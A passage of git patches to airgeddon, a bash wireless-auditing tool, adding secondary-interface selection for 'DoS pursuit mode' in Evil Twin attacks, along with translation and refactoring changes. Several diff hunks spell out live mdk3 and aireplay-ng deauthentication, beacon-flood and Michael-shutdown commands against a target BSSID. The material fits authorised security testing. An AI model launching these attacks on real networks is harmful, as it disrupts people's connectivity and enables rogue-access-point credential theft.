réseau sélectionné, une valeur valide ne peut pas être calculée" arr["CATALAN",491]="L'algoritme Arcadyan no serveix per a la xarxa objectiu seleccionada, no es pot calcular un valor vàlid" - arr["PORTUGUESE",491]="O algoritmo Arcadyan não se encaixa na rede selecionada, não foi possivel calcular um valor válido" + arr["PORTUGUESE",491]="O algoritmo Arcadyan não se encaixa na rede selecionada, não foi possível calcular um valor válido" arr["RUSSIAN",491]="Алгоритм Arcadyan бесполезен для выбранной целевой сети, действительное значение не может быть рассчитано" arr["GREEK",491]="Ο αλγόριθμος Arcadyan δεν είναι χρήσιμος για το επιλεγμένο δίκτυο, δεν μπορεί να υπολογιστεί έγκυρη τιμή" arr["ITALIAN",491]="L'algoritmo Arcadyan non è adatto alla rete selezionata come obiettivo, non è possibile calcolare un valore valido" @@ -5524,7 +5524,7 @@ function language_strings() { arr["SPANISH",505]="¿Deseas activar el \"modo persecución DoS\"? ${blue_color}Esto relanzará el ataque si el AP objetivo cambia de canal contrarrestando el \"channel hopping\" ${normal_color}${visual_choice}" arr["FRENCH",505]="${pending_of_translation} Voulez-vous activer le \"mode de poursuite DoS\"? ${blue_color}Cela relancera l'attaque si le AP cible change de canal en contrecarrant le \"channel hopping\" ${normal_color}${visual_choice}" arr["CATALAN",505]="${pending_of_translation} ¿Vols activar el \"mode persecució DoS\"? ${blue_color}Això rellançarà l'atac si l'AP objectiu canvia de canal contrarestant el \"channel hopping\" ${normal_color}${visual_choice}" - arr["PORTUGUESE",505]="${pending_of_translation} Você deseja ativar o \"modo de perseguição do DoS\"? ${blue_color}Isso irá relançar o ataque se o alvo AP alterar canais, contrariando o \"channel hopping\" ${normal_color}${visual_choice}" + arr["PORTUGUESE",505]="Você deseja ativar o \"modo de perseguição\"? ${blue_color}Isso irá iniciar o ataque novamente se o alvo mudar de canal, evitando o \"channel hopping\" ${normal_color}${visual_choice}" arr["RUSSIAN",505]="${pending_of_translation} Вы хотите включить \"режим преследования DoS\"? ${blue_color}Это снова запустит атаку, если целевая AP изменит свой канал, противодействуя \"channel hopping\" ${normal_color}${visual_choice}" arr["GREEK",505]="${pending_of_translation} Θέλετε να ενεργοποιήσετε την \"DoS λειτουργία αναζήτησης\"; ${blue_color}Αυτό θα ξεκινήσει και πάλι την επίθεση, εάν το AP στοχεύσει στην αλλαγή του καναλιού του \"channel hopping\" ${normal_color}${visual_choice}" arr["ITALIAN",505]="${pending_of_translation} Vuoi attivare la modalità \"modalità DoS persecuzione\"? ${blue_color}Questo riprenderà l'attacco se il target AP cambia i canali contrastando la \"channel hopping\" ${normal_color}${visual_choice}" @@ -5534,7 +5534,7 @@ function language_strings() { arr["SPANISH",506]="El ataque DoS con el \"modo persecución DoS\" activado comenzará cuando pulse [Enter] en esta ventana. Para detenerlo deberá pulsar [Ctrl+C] o cerrar la ventana del ataque" arr["FRENCH",506]="${pending_of_translation} L'attaque DoS avec le mode \"mode de poursuite DoS\" activé démarre lorsque vous appuyez sur [Enter] dans cette fenêtre. Pour l'arrêter, vous devez appuyer sur [Ctrl+C] ou fermer la fenêtre d'attaque" arr["CATALAN",506]="${pending_of_translation} L'atac DoS amb el \"mode persecució DOS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" - arr["PORTUGUESE",506]="${pending_of_translation} O ataque DoS com o modo \"modo de perseguição do DoS\" ativado será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela de ataque" + arr["PORTUGUESE",506]="O ataque DoS com o \"modo de perseguição\" foi ativo e será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela do ataque" arr["RUSSIAN",506]="${pending_of_translation} DoS-атака с включенным \"режим преследования DoS\" включена, когда вы нажмете [Enter] в этом окне. Чтобы остановить его, вы должны нажать [Ctrl+C] или закрыть окно атаки" arr["GREEK",506]="${pending_of_translation} Η επίθεση DoS με την ενεργοποιημένη λειτουργία \"DoS λειτουργία αναζήτησης\" ενεργοποιείται όταν πατήσετε [Enter] σε αυτό το παράθυρο. Για να το σταματήσετε πρέπει να πατήσετε [Ctrl+C] ή να κλείσετε το παράθυρο επίθεσης" arr["ITALIAN",506]="${pending_of_translation} L'attacco DoS con la modalità \"modalità DoS persecuzione\" abilitato verrà avviato quando si preme [Enter] in questa finestra. Per fermarlo bisogna premere [Ctrl+C] o chiudere la finestra di attacco" @@ -5544,7 +5544,7 @@ function language_strings() { arr["SPANISH",507]="Cambio de canal detectado. Relanzando de nuevo ataque DoS en \"modo persecución DoS\" ahora sobre el canal ${normal_color}${channel}" arr["FRENCH",507]="${pending_of_translation} Changement de canal détecté. Redémarrage de DoS attaque à nouveau dans \"mode de poursuite DoS\" maintenant sur le canal ${normal_color}${channel}" arr["CATALAN",507]="${pending_of_translation} Canvi de canal detectat. Rellançant de nou atac DOS en \"mode persecució DOS\" ara sobre el canal ${normal_color}${channel}" - arr["PORTUGUESE",507]="${pending_of_translation} Mudança de canal detectada. Relançando DoS atacar novamente em \"modo de perseguição do DoS\" agora pelo canal ${normal_color}${channel}" + arr["PORTUGUESE",507]="Mudança de canal detectada. Iniciando o ataque DoS novamente em \"modo de perseguição\". Agora no canal: ${normal_color}${channel}" arr["RUSSIAN",507]="${pending_of_translation} Обнаружено изменение канала. Повторная перезагрузка DoS-атаки в режиме \"режим преследования DoS\" теперь на канале ${normal_color}${channel}" arr["GREEK",507]="${pending_of_translation} Η αλλαγή καναλιού εντοπίστηκε. Επανεκκίνηση και πάλι DoS επίθεση στο \"DoS λειτουργία αναζήτησης\" τώρα στο κανάλι ${normal_color}${channel}" arr["ITALIAN",507]="${pending_of_translation} È stata rilevata la modifica del canale. Riavviare l'attacco DoS nuovamente in modalità \"modalità DoS persecuzione\" ora sul canale ${normal_color}${channel}" @@ -5554,7 +5554,7 @@ function language_strings() { arr["SPANISH",508]="El \"modo persecución DoS\" puede ser inestable para este tipo de ataque DoS. Si el resultado no es óptimo selecciona otro tipo de ataque" arr["FRENCH",508]="${pending_of_translation} \"mode de poursuite DoS\" peut être instable pour ce type d'attaque DoS. Si le résultat n'est pas optimal, sélectionnez un autre type d'attaque" arr["CATALAN",508]="${pending_of_translation} \"mode persecució DOS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" - arr["PORTUGUESE",508]="${pending_of_translation} \"modo de perseguição do DoS\" pode ser instável para esse tipo de ataque DoS. Se o resultado não for ótimo selecione outro tipo de ataque" + arr["PORTUGUESE",508]="O ataque DoS com o \"modo de perseguição\" pode ser instável. Se o resultado não for bom, selecione outro tipo de ataque" arr["RUSSIAN",508]="${pending_of_translation} \"режим преследования DoS\" может быть нестабильной для такого DoS-атаки. Если вы не получаете оптимальный результат, просто выберите другой тип атаки" arr["GREEK",508]="${pending_of_translation} \"DoS λειτουργία αναζήτησης\" μπορεί να είναι ασταθής για αυτό το είδος DoS επίθεσης. Εάν δεν επιτυγχάνετε το βέλτιστο αποτέλεσμα, επιλέξτε μόνο ένα άλλο είδος επίθεσης" arr["ITALIAN",508]="${pending_of_translation} \"modalità DoS persecuzione\" può essere instabile per questo tipo di attacco DoS. Se il risultato non è ottimale selezionare un altro tipo di attacco" From a3bb40d69fb8f60d9cebdf08df15a6851c280ed5 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 5 Nov 2017 20:22:01 +0100 Subject: [PATCH 38/70] Starting to fix DoS pursuit mode integration on Evil Twin attacks. Preparing menu for secondary wireless interface selection --- airgeddon.sh | 167 +++++++++++++++++++++++++++++++++++++++----- language_strings.sh | 42 ++++++++--- 2 files changed, 181 insertions(+), 28 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 72f58addb..ed95afd90 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171104 +#Date.........: 20171105 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -1675,6 +1675,97 @@ function set_chipset() { fi } +#Secondary wifi interface selection menu +function select_secondary_wifi_interface() { + + debug_print + + if [ "${return_to_et_main_menu}" -eq 1 ]; then + return 1 + fi + + current_menu="evil_twin_attacks_menu" + clear + case ${et_mode} in + "et_onlyap") + language_strings "${language}" 270 "title" + ;; + "et_sniffing") + language_strings "${language}" 291 "title" + ;; + "et_sniffing_sslstrip") + language_strings "${language}" 292 "title" + ;; + "et_sniffing_sslstrip2") + language_strings "${language}" 397 "title" + ;; + "et_captive_portal") + language_strings "${language}" 293 "title" + ;; + esac + + sec_wifi_ifaces=$(iwconfig 2>&1 | grep "802.11" | grep -v "no wireless extensions" | grep "${interface}" -v | awk '{print $1}') + + option_counter=0 + for item in ${sec_wifi_ifaces}; do + + if [ ${option_counter} -eq 0 ]; then + language_strings "${language}" 511 "green" + print_simple_separator + fi + + option_counter=$((option_counter + 1)) + if [ ${#option_counter} -eq 1 ]; then + spaceiface=" " + else + spaceiface=" " + fi + set_chipset "${item}" + echo -ne "${option_counter}.${spaceiface}${item} " + if [ -z "${chipset}" ]; then + language_strings "${language}" 245 "blue" + else + echo -e "${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}" + fi + done + + if [ ${option_counter} -eq 0 ]; then + return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 + echo + language_strings "${language}" 510 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + option_counter_back=$((option_counter + 1)) + if [ ${option_counter: -1} -eq 9 ]; then + spaceiface+=" " + fi + print_simple_separator + language_strings "${language}" 331 + print_hint ${current_menu} + + read -r secondary_wifi_iface + if [[ ! ${secondary_wifi_iface} =~ ^[[:digit:]]+$ ]] || (( secondary_wifi_iface < 1 || secondary_wifi_iface > option_counter_back )); then + invalid_secondary_wifi_iface_selected + elif [ "${secondary_wifi_iface}" -eq ${option_counter_back} ]; then + return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 + return 1 + else + option_counter2=0 + for item2 in ${sec_wifi_ifaces}; do + option_counter2=$((option_counter2 + 1)) + if [[ "${secondary_wifi_iface}" = "${option_counter2}" ]]; then + secondary_wifi_interface=${item2} + break + fi + done + return 0 + fi +} + #Internet interface selection menu function select_internet_interface() { @@ -1706,6 +1797,10 @@ function select_internet_interface() { inet_ifaces=$(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep lo -v | grep "${interface}" -v) + if [ -n "${secondary_wifi_interface}" ]; then + inet_ifaces=$(echo "${inet_ifaces}" | grep "${secondary_wifi_interface}" -v) + fi + option_counter=0 for item in ${inet_ifaces}; do @@ -2751,49 +2846,58 @@ function launch_dos_pursuit_mode_attack() { "mdk3 amok attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & + interface_pursuit_mode_deauth="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & ;; "aireplay deauth attack") ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 dos_delay=3 interface_pursuit_mode_scan="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & + interface_pursuit_mode_deauth="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "wids / wips / wds confusion attack") dos_delay=10 interface_pursuit_mode_scan="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & + interface_pursuit_mode_deauth="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & ;; "beacon flood attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & + interface_pursuit_mode_deauth="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" b -n "${essid}" -c "${channel}" -s 1000 -h > /dev/null 2>&1 & ;; "auth dos attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & + interface_pursuit_mode_deauth="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" a -a "${bssid}" -m -s 1024 > /dev/null 2>&1 & ;; "michael shutdown attack") dos_delay=1 interface_pursuit_mode_scan="${interface}" - xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & + interface_pursuit_mode_deauth="${interface}" + xterm +j -bg black -fg red -geometry "${g1_topleft_window}" -T "${1}" -e mdk3 "${interface_pursuit_mode_deauth}" m -t "${bssid}" -w 1 -n 1024 -s 1024 > /dev/null 2>&1 & ;; "Mdk3") dos_delay=1 - interface_pursuit_mode_scan="${iface_monitor_et_deauth}" - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "mdk3 ${iface_monitor_et_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & + interface_pursuit_mode_scan="${secondary_wifi_interface}" + interface_pursuit_mode_deauth="${secondary_wifi_interface}" + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "mdk3 ${interface_pursuit_mode_deauth} d -b ${tmpdir}\"bl.txt\" -c ${channel}" > /dev/null 2>&1 & ;; "Aireplay") - iwconfig "${iface_monitor_et_deauth}" channel "${channel}" > /dev/null 2>&1 + interface_pursuit_mode_scan="${secondary_wifi_interface}" + interface_pursuit_mode_deauth="${secondary_wifi_interface}" + iwconfig "${interface_pursuit_mode_deauth}" channel "${channel}" > /dev/null 2>&1 dos_delay=3 - interface_pursuit_mode_scan="${iface_monitor_et_deauth}" - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${iface_monitor_et_deauth}" > /dev/null 2>&1 & + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "aireplay-ng --deauth 0 -a ${bssid} --ignore-negative-one ${interface_pursuit_mode_deauth}" > /dev/null 2>&1 & ;; "Wds Confusion") dos_delay=10 - interface_pursuit_mode_scan="${iface_monitor_et_deauth}" - xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "mdk3 ${iface_monitor_et_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & + interface_pursuit_mode_scan="${secondary_wifi_interface}" + interface_pursuit_mode_deauth="${secondary_wifi_interface}" + xterm +j -bg black -fg red -geometry "${deauth_scr_window_position}" -T "Deauth" -e "mdk3 ${interface_pursuit_mode_deauth} w -e ${essid} -c ${channel}" > /dev/null 2>&1 & ;; esac @@ -3566,6 +3670,7 @@ function initialize_menu_and_print_selections() { captive_portal_mode="internet" et_mode="" et_processes=() + secondary_wifi_interface="" print_iface_selected print_all_target_vars_et ;; @@ -8597,9 +8702,14 @@ function et_dos_menu() { else et_dos_attack="Mdk3" - ask_yesno 505 "yes" + echo + language_strings "${language}" 509 "yellow" + + ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 + select_secondary_wifi_interface + #TODO monitor mode validation fi if [ "${et_mode}" = "et_captive_portal" ]; then @@ -8646,9 +8756,14 @@ function et_dos_menu() { else et_dos_attack="Aireplay" - ask_yesno 505 "yes" + echo + language_strings "${language}" 509 "yellow" + + ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 + select_secondary_wifi_interface + #TODO monitor mode validation fi if [ "${et_mode}" = "et_captive_portal" ]; then @@ -8695,12 +8810,17 @@ function et_dos_menu() { else et_dos_attack="Wds Confusion" - ask_yesno 505 "yes" + echo + language_strings "${language}" 509 "yellow" + + ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 echo language_strings "${language}" 508 "yellow" language_strings "${language}" 115 "read" + select_secondary_wifi_interface + #TODO monitor mode validation fi if [ "${et_mode}" = "et_captive_portal" ]; then @@ -8880,6 +9000,19 @@ function invalid_internet_iface_selected() { select_internet_interface } +#Show message for invalid selected secondary wireless interface +function invalid_secondary_wifi_iface_selected() { + + debug_print + + echo + language_strings "${language}" 77 "red" + echo + language_strings "${language}" 115 "read" + echo + select_secondary_wifi_interface +} + #Manage behavior of captured traps function capture_traps() { diff --git a/language_strings.sh b/language_strings.sh index 8cb497d92..51e7f3ff4 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171104 +#Date.........: 20171105 #Bash Version.: 4.2 or later #Set language_strings file version @@ -3267,7 +3267,7 @@ function language_strings() { arr["PORTUGUESE",279]="Selecione outra interface que tem acesso à internet :" arr["RUSSIAN",279]="Выбор другого интерфейса с Интернет доступом :" arr["GREEK",279]="Επιλέξτε άλλη διεπαφή με προσβαση στο διαδίκτυο :" - arr["ITALIAN",279]="Selezionare un'altra interfaccia che ha accesso a internet:" + arr["ITALIAN",279]="Selezionare un'altra interfaccia che ha accesso a internet :" arr["POLISH",279]="${pending_of_translation} Wybierz inny interfejs, który ma dostęp do internet :" arr["ENGLISH",280]="On this screen, it's supposed an additional interface to provide internet access is chosen, but you don't have anyone at this moment" @@ -5560,15 +5560,35 @@ function language_strings() { arr["ITALIAN",508]="${pending_of_translation} \"modalità DoS persecuzione\" può essere instabile per questo tipo di attacco DoS. Se il risultato non è ottimale selezionare un altro tipo di attacco" arr["POLISH",508]="${pending_of_translation} \"tryb pościgowy DoS\" może być niestabilny dla tego typu ataków DoS. Jeśli wynik nie jest optymalny, wybierz inny rodzaj ataku" - arr["ENGLISH",509]="If you want to integrate \"DoS pursuit mode\" on an Evil Twin attack, it will be needed another wifi interfaz in monitor mode to be able to perform it" - arr["SPANISH",509]="Si se quiere integrar el \"modo persecución DoS\" en un ataque Evil Twin, será necesario tener otro interfaz wifi en modo monitor para llevarlo a cabo" - arr["FRENCH",509]="${pending_of_translation} Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi en mode moniteur pour l'effectuer" - arr["CATALAN",509]="${pending_of_translation} Si es vol integrar el \"mode persecució DOS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi en mode monitor per fer-ho" - arr["PORTUGUESE",509]="${pending_of_translation} Se você deseja integrar o \"modo de perseguição do DoS\" em um ataque Evil Twin, será necessário ter outra interface wifi no modo monitor para executá-lo" - arr["RUSSIAN",509]="${pending_of_translation} Если вы хотите интегрировать \"режим преследования DoS\" на атаку Evil Twin, понадобится другой интерфаз wifi в режиме монитора, чтобы выполнить его" - arr["GREEK",509]="${pending_of_translation} Εάν θέλετε να ενσωματώσετε το \"DoS λειτουργία αναζήτησης\" σε μια επίθεση Evil Twin, θα χρειαστεί ένα άλλο wifi διεπαφή στη λειτουργία παρακολούθησης για να το εκτελέσετε" - arr["ITALIAN",509]="${pending_of_translation} Se si desidera integrare la \"modalità DoS persecuzione\" in un attacco Evil Twin, sarà necessario disporre di un'altra interfaccia wifi in modalità monitor" - arr["POLISH",509]="${pending_of_translation} Jeśli chcesz zintegrować \"tryb pościgowy DoS\" w ataku Evil Twin, konieczne będzie posiadanie innego interfejsu wifi w trybie monitorowania, aby go przeprowadzić" + arr["ENGLISH",509]="If you want to integrate \"DoS pursuit mode\" on an Evil Twin attack, another additional wifi interface in monitor mode will be needed to be able to perform it" + arr["SPANISH",509]="Si se quiere integrar el \"modo persecución DoS\" en un ataque Evil Twin, será necesario tener otro interfaz wifi adicional en modo monitor para llevarlo a cabo" + arr["FRENCH",509]="${pending_of_translation} Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi supplémentaire en mode moniteur pour l'effectuer" + arr["CATALAN",509]="${pending_of_translation} Si es vol integrar el \"mode persecució DOS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" + arr["PORTUGUESE",509]="${pending_of_translation} Se você deseja integrar o \"modo de perseguição do DoS\" em um ataque Evil Twin, será necessário ter outra interface wifi adicional no modo monitor para executá-lo" + arr["RUSSIAN",509]="${pending_of_translation} Если вы хотите интегрировать \"режим преследования DoS\" на атаку Evil Twin, потребуется еще один дополнительный интерфейс wifi в режиме монитора, чтобы выполнить его" + arr["GREEK",509]="${pending_of_translation} Εάν θέλετε να ενσωματώσετε το \"DoS λειτουργία αναζήτησης\" σε μια επίθεση Evil Twin, μια άλλη πρόσθετη διεπαφή wifi στη λειτουργία παρακολούθησης θα χρειαστεί για να μπορέσει να την εκτελέσει" + arr["ITALIAN",509]="${pending_of_translation} Se si desidera integrare la \"modalità DoS persecuzione\" in un attacco Evil Twin, sarà necessario disporre di un'altra interfaccia wifi aggiuntiva in modalità monitor" + arr["POLISH",509]="${pending_of_translation} Jeśli chcesz zintegrować \"tryb pościgowy DoS\" w ataku Evil Twin, konieczne będzie posiadanie innego dodatkowego interfejsu wifi w trybie monitorowania, aby go przeprowadzić" + + arr["ENGLISH",510]="On this screen, it's supposed an additional wifi interface is chosen, but you don't have anyone at this moment" + arr["SPANISH",510]="En esta pantalla, se supone que deberías elegir otro interfaz wifi adicional, pero no dispones de ninguno en este momento" + arr["FRENCH",510]="${pending_of_translation} Sur cet écran, vous êtes supposé choisir une autre interface wifi supplémentaire, mais vous n'en avez pas en ce moment" + arr["CATALAN",510]="${pending_of_translation} En aquesta pantalla, se suposa que hauries de triar un altre interfície wifi addicional, però no disposes de cap en aquest moment" + arr["PORTUGUESE",510]="${pending_of_translation} Nesta tela, é suposto escolher outra interface wifi adicional, mas você não possui nenhuma neste momento" + arr["RUSSIAN",510]="${pending_of_translation} На этом экране предполагается, что будет выбран дополнительный интерфейс wifi, но в данный момент у вас нет никого" + arr["GREEK",510]="${pending_of_translation} Σε αυτήν την οθόνη, υποτίθεται ότι έχει επιλεγεί μια πρόσθετη διεπαφή wifi, αλλά δεν έχετε κανέναν αυτήν τη στιγμή" + arr["ITALIAN",510]="${pending_of_translation} In questa schermata, dovresti scegliere un'altra interfaccia wifi aggiuntiva, ma in questo momento non ne hai" + arr["POLISH",510]="${pending_of_translation} Na tym ekranie należy wybrać inny dodatkowy interfejs wifi, ale nie masz go w tym momencie" + + arr["ENGLISH",511]="Select another wireless interface :" + arr["SPANISH",511]="Selecciona otra interfaz inalámbrica :" + arr["FRENCH",511]="${pending_of_translation} Sélectionnez une autre interface sans fil :" + arr["CATALAN",511]="${pending_of_translation} Selecciona una altra interfície sense fils :" + arr["PORTUGUESE",511]="${pending_of_translation} Selecione outra interface sem fio :" + arr["RUSSIAN",511]="${pending_of_translation} Выберите другой беспроводной интерфейс :" + arr["GREEK",511]="${pending_of_translation} Επιλέξτε άλλη ασύρματη διεπαφή :" + arr["ITALIAN",511]="${pending_of_translation} Seleziona un'altra interfaccia wireless :" + arr["POLISH",511]="${pending_of_translation} Wybierz inny interfejs bezprzewodowy :" case "${3}" in "yellow") From 9ee9c457b68476a901aa7bcb2e4b41aa52bcfa3f Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 5 Nov 2017 23:46:07 +0100 Subject: [PATCH 39/70] Standarizing some functions (functions related to monitor-managed changes) to make them reusable for any interface --- airgeddon.sh | 64 +++++++------ language_strings.sh | 220 ++++++++++++++++++++++---------------------- 2 files changed, 146 insertions(+), 138 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index ed95afd90..64e90b417 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -714,7 +714,7 @@ function check_to_set_managed() { debug_print - check_interface_mode + check_interface_mode "${1}" case "${ifacemode}" in "Managed") echo @@ -737,7 +737,7 @@ function check_to_set_monitor() { debug_print - check_interface_mode + check_interface_mode "${1}" case "${ifacemode}" in "Monitor") echo @@ -760,7 +760,9 @@ function check_monitor_enabled() { debug_print - mode=$(iwconfig "${interface}" 2> /dev/null | grep Mode: | awk '{print $4}' | cut -d ':' -f 2) + mode=$(iwconfig "${1}" 2> /dev/null | grep Mode: | awk '{print $4}' | cut -d ':' -f 2) + + current_iface_on_messages="${1}" if [[ ${mode} != "Monitor" ]]; then echo @@ -776,7 +778,7 @@ function check_interface_wifi() { debug_print - execute_iwconfig_fix + execute_iwconfig_fix "${1}" return $? } @@ -786,7 +788,8 @@ function execute_iwconfig_fix() { debug_print iwconfig_fix - iwcmd="iwconfig ${interface} ${iwcmdfix} > /dev/null 2> /dev/null" + current_iface_on_messages="${1}" + iwcmd="iwconfig ${1} ${iwcmdfix} > /dev/null 2> /dev/null" eval "${iwcmd}" return $? @@ -1170,6 +1173,7 @@ function prepare_et_interface() { if [ "${interface}" != "${new_interface}" ]; then if check_interface_coherence; then interface=${new_interface} + current_iface_on_messages="${interface}" fi echo language_strings "${language}" 15 "yellow" @@ -1210,6 +1214,7 @@ function restore_et_interface() { [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" if [ "${interface}" != "${new_interface}" ]; then interface=${new_interface} + current_iface_on_messages="${interface}" fi fi } @@ -1229,7 +1234,7 @@ function managed_option() { debug_print - if ! check_to_set_managed; then + if ! check_to_set_managed "${interface}"; then return fi @@ -1245,6 +1250,7 @@ function managed_option() { if [ "${interface}" != "${new_interface}" ]; then if check_interface_coherence; then interface=${new_interface} + current_iface_on_messages="${interface}" fi echo language_strings "${language}" 15 "yellow" @@ -1260,7 +1266,7 @@ function monitor_option() { debug_print - if ! check_to_set_monitor; then + if ! check_to_set_monitor "${interface}"; then return fi @@ -1300,6 +1306,7 @@ function monitor_option() { if [ "${interface}" != "${new_interface}" ]; then if check_interface_coherence; then interface=${new_interface} + current_iface_on_messages="${interface}" fi echo language_strings "${language}" 21 "yellow" @@ -1315,19 +1322,20 @@ function check_interface_mode() { debug_print - if ! execute_iwconfig_fix; then + current_iface_on_messages="${1}" + if ! execute_iwconfig_fix "${1}"; then ifacemode="(Non wifi card)" return 0 fi - modemanaged=$(iwconfig "${interface}" 2> /dev/null | grep Mode: | cut -d ':' -f 2 | cut -d ' ' -f 1) + modemanaged=$(iwconfig "${1}" 2> /dev/null | grep Mode: | cut -d ':' -f 2 | cut -d ' ' -f 1) if [[ ${modemanaged} = "Managed" ]]; then ifacemode="Managed" return 0 fi - modemonitor=$(iwconfig "${interface}" 2> /dev/null | grep Mode: | awk '{print $4}' | cut -d ':' -f 2) + modemonitor=$(iwconfig "${1}" 2> /dev/null | grep Mode: | awk '{print $4}' | cut -d ':' -f 2) if [[ ${modemonitor} = "Monitor" ]]; then ifacemode="Monitor" @@ -3127,7 +3135,7 @@ function mdk3_deauth_option() { language_strings "${language}" 95 "title" language_strings "${language}" 35 "green" - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return fi @@ -3156,7 +3164,7 @@ function aireplay_deauth_option() { language_strings "${language}" 96 "title" language_strings "${language}" 36 "green" - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return fi @@ -3185,7 +3193,7 @@ function wds_confusion_option() { language_strings "${language}" 97 "title" language_strings "${language}" 37 "green" - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return fi @@ -3217,7 +3225,7 @@ function beacon_flood_option() { language_strings "${language}" 98 "title" language_strings "${language}" 38 "green" - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return fi @@ -3246,7 +3254,7 @@ function auth_dos_option() { language_strings "${language}" 99 "title" language_strings "${language}" 39 "green" - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return fi @@ -3277,7 +3285,7 @@ function michael_shutdown_option() { language_strings "${language}" 100 "title" language_strings "${language}" 40 "green" - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return fi @@ -3310,7 +3318,7 @@ function wep_option() { fi fi - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return 1 fi @@ -3334,7 +3342,7 @@ function wps_attacks_parameters() { debug_print if [ "${1}" != "no_monitor_check" ]; then - if ! check_monitor_enabled; then + if ! check_monitor_enabled "${interface}"; then return 1 fi @@ -3400,7 +3408,7 @@ function print_iface_selected() { language_strings "${language}" 115 "read" select_interface else - check_interface_mode + check_interface_mode "${interface}" language_strings "${language}" 42 "blue" fi } @@ -4045,7 +4053,7 @@ function evil_twin_attacks_menu() { if contains_element "${et_option}" "${forbidden_options[@]}"; then forbidden_menu_option else - if check_interface_wifi; then + if check_interface_wifi "${interface}"; then et_mode="et_onlyap" 